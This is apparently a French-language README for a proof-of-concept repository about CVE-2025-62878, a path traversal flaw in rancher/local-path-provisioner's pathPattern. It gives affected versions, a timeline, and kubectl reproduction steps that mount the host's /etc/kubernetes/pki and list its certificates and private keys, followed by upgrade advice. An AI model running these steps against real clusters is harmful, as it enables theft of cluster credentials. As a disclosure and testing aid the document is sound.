
CVE-2025-62878
| Élément | Valeur |
|---|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| Gravité | Critique (CVSS 10.0) |
| CWE | CWE-23 (Traversée de chemin relative) |
| Composant affecté | rancher/local-path-provisioner |
| Versions affectées | v0.0.27 ~ v0.0.32 |
| Versions corrigées | v0.0.33+ |
Une vulnérabilité de traversée de chemin existe dans le paramètre pathPattern de StorageClass. Un utilisateur malveillant peut manipuler pathPattern en utilisant des éléments de chemin relatifs (par exemple ../) pour créer des PersistentVolumes pointant vers des emplacements arbitraires sur le nœud hôte, contournant la restriction de répertoire de base configurée.
Cela permet aux attaquants de :
/etc/kubernetes/pki/)| Version | Date de publication | Support de pathPattern | Vulnérable |
|---|---|---|---|
| v0.0.26 | 2023-12-03 | Non | Sûr (fonctionnalité inexistante) |
| v0.0.27 | 2024-05-29 | Oui | Vulnérable |
| v0.0.28 | 2024-06-19 | Oui | Vulnérable |
| v0.0.29 | 2024-09-03 | Oui | Vulnérable |
| v0.0.30 | 2024-10-07 | Oui | Vulnérable |
| v0.0.31 | 2025-01-24 | Oui | Vulnérable |
| v0.0.32 | 2025-07-31 | Oui | Vulnérable |
| v0.0.33 | 2025-12-25 | Oui | Corrigé |
| v0.0.34 | 2026-01-06 | Oui | Corrigé |
Remarque : L'avis officiel GitHub indique que les versions "< 0.0.34" sont affectées, mais nos tests confirment :
| Événement | Date |
|---|---|
| Fonctionnalité pathPattern introduite | 2024-05-26 (commit af85381) |
| Première version vulnérable (v0.0.27) | 2024-05-29 |
| Commit de correction | 2025-12-24 (commit 1ed6b54) |
| Première version corrigée (v0.0.33) | 2025-12-25 |
| CVE publiée | 2026-02-04 |
Voir le répertoire exploit/ pour les étapes de reproduction détaillées et les scripts.
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Mettez à niveau vers v0.0.33 ou ultérieure :
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml